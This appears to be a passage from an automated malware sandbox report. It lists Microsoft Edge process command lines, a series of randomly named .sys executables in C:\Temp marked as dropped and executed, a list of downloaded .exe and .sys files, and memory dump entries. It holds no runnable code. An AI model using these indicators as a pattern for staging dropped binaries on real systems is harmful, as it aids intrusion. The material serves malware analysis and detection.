C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6692,i,15829045587518010796,4619190692129465883,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5252,i,9920759308170595576,12043999480289309189,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=1388 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5256,i,5825916629446840554,10659511366706132194,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=1336 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5240,i,4931743458347141139,6896954984841509214,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,9371523968483558331,14561643742227712901,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5180,i,11907184407302556694,12894407402045182917,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=6972 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1388,i,16082031515192372974,6223725125897468443,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=6976 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=948,i,4436551742056767680,4116851196800238806,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5748,i,5152663451920330839,11211355972483619827,262144 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=7056 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6992,i,8767864990330668279,276589366893553869,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=7056 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,4773357773572667006,15088894974306302755,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\wuomgecwuomgebwt.sysC:\Temp\wuomgecwuomgebwt.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\trljgbztrl.sysC:\Temp\trljgbztrl.sys1⤵
- Executes dropped EXE
-
C:\Temp\gdbztqligb.sysC:\Temp\gdbztqligb.sys1⤵
- Executes dropped EXE
-
C:\Temp\gaytqljdbv.sysC:\Temp\gaytqljdbv.sys1⤵
- Executes dropped EXE
-
C:\Temp\kicavnlfda.sysC:\Temp\kicavnlfda.sys1⤵
- Executes dropped EXE
-
C:\Temp\axspkifdxv.sysC:\Temp\axspkifdxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\snkicausnk.sysC:\Temp\snkicausnk.sys1⤵
- Executes dropped EXE
-
C:\Temp\upmkecxusm.sysC:\Temp\upmkecxusm.sys1⤵
- Executes dropped EXE
-
C:\Temp\jheczurmjh.sysC:\Temp\jheczurmjh.sys1⤵
- Executes dropped EXE
-
C:\Temp\bywrojgbzt.sysC:\Temp\bywrojgbzt.sys1⤵
- Executes dropped EXE
-
C:\Temp\bytqomgebw.sysC:\Temp\bytqomgebw.sys1⤵
- Executes dropped EXE
-
C:\Temp\qoigbytrli.sysC:\Temp\qoigbytrli.sys1⤵
-
C:\Temp\nlfdavtnli.sysC:\Temp\nlfdavtnli.sys1⤵
-
C:\Temp\nhfdxvpnli.sysC:\Temp\nhfdxvpnli.sys1⤵
-
C:\Temp\axspnifaxs.sysC:\Temp\axspnifaxs.sys1⤵
-
C:\Temp\hfzxrpkhca.sysC:\Temp\hfzxrpkhca.sys1⤵
-
C:\Temp\urpjhezwur.sysC:\Temp\urpjhezwur.sys1⤵
-
C:\Temp\wuomgeywro.sysC:\Temp\wuomgeywro.sys1⤵
-
C:\Temp\ywuomgebwt.sysC:\Temp\ywuomgebwt.sys1⤵
-
C:\Temp\geywqoigby.sysC:\Temp\geywqoigby.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
axspkifdxv.sys
dbvtnlgayw.exe
ezwrpjezwr.exe
favsnifdxv.exe
gaytqljdbv.sys
gdbztqligb.sys
i_dbvtnlgayw.exe
i_ezwrpjezwr.exe
i_favsnifdxv.exe
i_rojgbywqom.exe
i_yvtqlidavt.exe
kicavnlfda.sys
rojgbywqom.exe
trljgbztrl.sys
wuomgecwuomgebwt.exe
wuomgecwuomgebwt.sys
yvtqlidavt.exe
settings.dat
settings.dat
the-real-index
the-real-index~RFe598e5b.TMP
SiteList-Enterprise.json
Edge Profile.ico
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Preferences
Secure Preferences
bd17f3af-1df9-4b4c-9145-e3303f75cc79.tmp
Local State
Local State
Local State
Local State
Local State
metadata.json
metadata.json
metadata.json
metadata.json
299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
74a174a7-12d5-4e26-8714-98fa8573127d.tmp
metadata.json~RFe596538.TMP
90706da9-b324-4364-8df1-9ea80fa66f43.tmp
content_new.js
CreateProcess.exe
memory/1064-540-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1188-704-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1732-598-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1928-661-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2412-65-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2608-724-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2688-728-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2764-657-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2880-699-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3232-546-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3444-504-0x0000000000690000-0x00000000006EF000-memory.dmp
memory/3456-573-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3472-565-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3712-625-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3980-541-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3980-511-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4320-498-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4748-681-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4932-550-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5732-470-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5808-646-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5856-435-0x0000000000010000-0x00000000000AB000-memory.dmp